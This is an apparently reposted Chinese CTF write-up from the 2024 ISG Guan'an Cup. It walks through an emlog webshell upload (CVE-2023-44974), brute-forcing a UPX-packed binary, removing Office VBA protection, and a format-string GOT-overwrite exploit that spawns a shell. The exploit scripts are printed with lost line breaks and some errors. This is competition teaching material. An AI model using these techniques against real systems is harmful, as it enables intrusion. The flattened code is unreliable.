2024年ISG观安杯WP

admin 2024年8月31日22:20:34评论57 views字数 4617阅读15分23秒阅读模式

2024年ISG观安杯WP

2024年ISG网络安全技能竞赛“观安杯”管理运维赛初赛

1.获奖情况

2024年ISG观安杯WP

中国人民警察大学的 SeeU-Sec 战队荣获教育1组二等奖。

2024年ISG观安杯WP

2.队伍信息

2024年ISG观安杯WP

队伍名称:SeeU-Sec

比赛排名:3

队伍成员:刘奕强 辛明琦 李光洋 肖亚虎

3.题目详情

2024年ISG观安杯WP

WP

2024年ISG观安杯WP

Web

emm

前面就是正常的随便输入用户密码邮箱 进行安装 然后登陆后台

找到一个emlog的任意文件上传漏洞CVE-2023-44974

在插件处上传webshell压缩包 要求是文件夹要和webshell的名字相同 可以用这个里面的

https://github.com/yangliukk/emlog/tree/main

2024年ISG观安杯WP

然后访问webshell 执行命令 得到flag

2024年ISG观安杯WP

2024年ISG观安杯WP

Re

rev_shell 

先看日志文件

跑一下程序对照,拿到cipher和key

2024年ISG观安杯WP

再看可执行文件

die查壳

2024年ISG观安杯WP

upx壳,工具脱不了,一开始以为是工具版本的问题,后来发现github最新版是4.2.4,但是题目是4.3,猜测可能是魔改?

再尝试下断点手脱,但是报错

再尝试直接跑起来attach,成功附加但是没dump下来,堵死

2024年ISG观安杯WP

最后尝试直接爆破,先测试出明文长度37

大小写字母数字以及下划线组合,找pwn手from pwn写按位爆破脚本

from struct import packfrom ctypes import *from LibcSearcher import *from pwn import *context(arch='amd64',log_level='debug')#context(arch='i386',log_level='debug')def s(a):    io.send(a)def sa(a, b):    io.sendafter(a, b)def sl(a):    io.sendline(a)def sla(a, b):    io.sendlineafter(a, b)def r():    io.recv()def pr():    print(io.recv())def rl(a):    return io.recvuntil(a)def inter():    io.interactive()def debug():    gdb.attach(io)    pause()def get_addr():    return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def ret_csu(r12, r13, r14, r15, last):    payload = offset * 'a'    #构造栈溢出的padding    payload += p64(gadget1)    #gadgets1的地址    payload += p64(0) + p64(1)    #rbx=0, rbp=1    payload += p64(r12)    #call调用的地址    payload += p64(r13) + p64(r14) + p64(r15)    #三个参数的寄存器    payload += p64(gadget2)    #gadgets2的地址    payload += 'a' * 56    #pop出的padding    payload += p64(last)    #函数最后的返回地址    return payloadio=process('./encsh')#io=remote('',)#elf=ELF('./')#libc=ELF('./')import stringkey = 'mykeymykeyhackergoawayyourkeyyou'flag = '00000000000000000000000000000000000000000000000000000'v = [227, 83, 162, 17, 197, 102, 127, 119, 94, 208, 82, 187, 221, 191, 112, 186, 0, 170, 191, 44, 233, 242, 209, 114,     70, 116, 203, 80, 72, 65, 254, 111, 119, 146, 95, 180, 182, 77, 140, 110, 204, 249, 76, 34, 229, 39, 30, 12, 248,     89, 158, 103, 170]FLAG = ''sla('>', 'key')sl(key)sla('>', 'enc')sl(flag)rl('[')ans = rl(']').decode()temp = ans[:-1].split(', ')tmp = int(temp[i])for i in range(len(v)):    for j in string.printable:        ans = flag[:i] + j + flag[i + 1:]        S(ans)        if tmp == v[i]:            FLAG += j            break        print(FLAG)        io.close()

ISG{ThIsisMYuPx_notYOuR5_Gg_hjD95wk1}

2024年ISG观安杯WP

Misc

office

010打开 末尾base64 解密得到用来打开excel文档的密码
SSN6aVR4bnh2YmcjR0M5   I#ziTxnxvbg#GC9
打开之后发现有宏vba 

2024年ISG观安杯WP

尝试编辑宏 发现有保护密码

2024年ISG观安杯WP

使用LibreOffice Calc打开可以消除宏

2024年ISG观安杯WP

2024年ISG观安杯WP

写解密脚本 恢复flag

def decrypt(encrypted_message):    # 将加密字符串分割成整数字符串,并去除空字符串    message_parts = [int(part) for part in encrypted_message.split(',') if part]    # 初始化 S 数组    s = list(range(256))    j = 0    # 创建 KSA    for i in range(256):        j = (j + s[i]) % 256        s[i], s[j] = s[j], s[i]    # 初始化 x 和 y    x = 0    y = 0    decrypted_message = ""    # 进行解密    for i in range(len(message_parts)):        x = (x + 1) % 256        y = (y + s[x]) % 256        s[x], s[y] = s[y], s[x]        # 恢复原始字符        char = chr(s[(s[x] + s[y]) % 256] ^ message_parts[i])        decrypted_message += char    return decrypted_message# 测试代码if __name__ == "__main__":    encrypted = "184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31,"    decrypted = decrypt(encrypted)    print("Decrypted Message:", decrypted)

2024年ISG观安杯WP

另外

说一下另一种思路 直接在wps里面取消掉打开密码

2024年ISG观安杯WP

密码加密里面删掉原来的密码——应用 再打开就没有密码了 olevba也可以正常使用了

olevba problem.xlsm

2024年ISG观安杯WP

另外2

还有一种消除宏保护密码的方法 在wps中另存为xls文档 使用010打开这个xls文档 找到DPB字段 改为DPX 就可以消除宏保护密码

2024年ISG观安杯WP

misc_see_it 

题目说明

t's not what you hear, it's what you see.

解题思路

末尾压缩包

2024年ISG观安杯WP

提出来解压 得到密码 p@ssw0rd_1s_myg0 还有steghide字段提示

直接解密 得到png lsb隐写得到flag

2024年ISG观安杯WP

2024年ISG观安杯WP

Pwn

rejectdallor

2024年ISG观安杯WP

题目大致意思很简单,就是检测了符号$的输入,并且在printf之前会将我们输入的内容进行分类,这样就会增加我们利用格式化字符串的难度。

这里的思路是通过在输入内容前加上'n'来绕过分类功能,无法使用$符号就只能重复输入格式化字符串来达到相同目的。然后利用格式化字符串将我们的Put的got表改写成system然后输入sh实现getshell。

这里要先获得Libc基地址,我们先利用一次格式化字符串泄露出我们想要的地址,这里我们泄露Libc_start_main函数。

2024年ISG观安杯WP

2024年ISG观安杯WP

计算偏移得到Libc_base

然后就是改写地址了

def sla(a, b):    io.sendlineafter(a, b)def r():    io.recv()def pr():    print(io.recv())def rl(a):    return io.recvuntil(a)def inter():    io.interactive()def dbg():    gdb.attach(io)    pause()def get_addr():    return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def ret_csu(r12, r13, r14, r15, last):    payload = offset * 'a'    #构造栈溢出的padding    payload += p64(gadget1)    #gadgets1的地址    payload += p64(0) + p64(1)    #rbx=0, rbp=1    payload += p64(r12)    #call调用的地址    payload += p64(r13) + p64(r14) + p64(r15)    #三个参数的寄存器    payload += p64(gadget2)    #gadgets2的地址    payload += 'a' * 56    #pop出的padding    payload += p64(last)    #函数最后的返回地址    return payloadio=process('./pwn')#io=remote('',)elf=ELF('./pwn')libc=ELF('./libc.so.6')def lea(message):    sla(b'choice > ',b'1')    sla(b'message >',message)def sor():    sla(b'choice > ',b'2')def ori():    sla(b'choice > ',b'3')    payload=b'n'+b'%d'42+b'.%p'lea(payload)dbg()sor()#dbg()libc_base = int(p.recvuntil(".")[:-1],16)-0x29d90addr1 = (libc.symbols['system'] & 0xffff) - 0x21addr2 = ((libc.symbols['system']>>16)&0xffff)-(libc.symbols['system']&0xffff)print('libc:',hex(libc.address))payload= b'n'+b'%c'0x20+b'%'+str(addr1).encode()+b'c%hn%'+str(addr2).encode()+b'c%hn'payload= snd.ljust((0x22-8)8)+p64(elf.got['puts'])payload= snd.ljust((0x24-8)8)+p64(elf.got['puts']+2)lea(payload)sor()lea(b'sh')ori()inter()

编辑&排版 | 火火火木                                                                    

作者 w3nx1z1、Ctime、qui1t_p3n                                            

原文始发于微信公众号(SeeUSec):2024年ISG观安杯WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月31日22:20:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024年ISG观安杯WPhttps://cn-sec.com/archives/3116101.html

发表评论

匿名网友 填写信息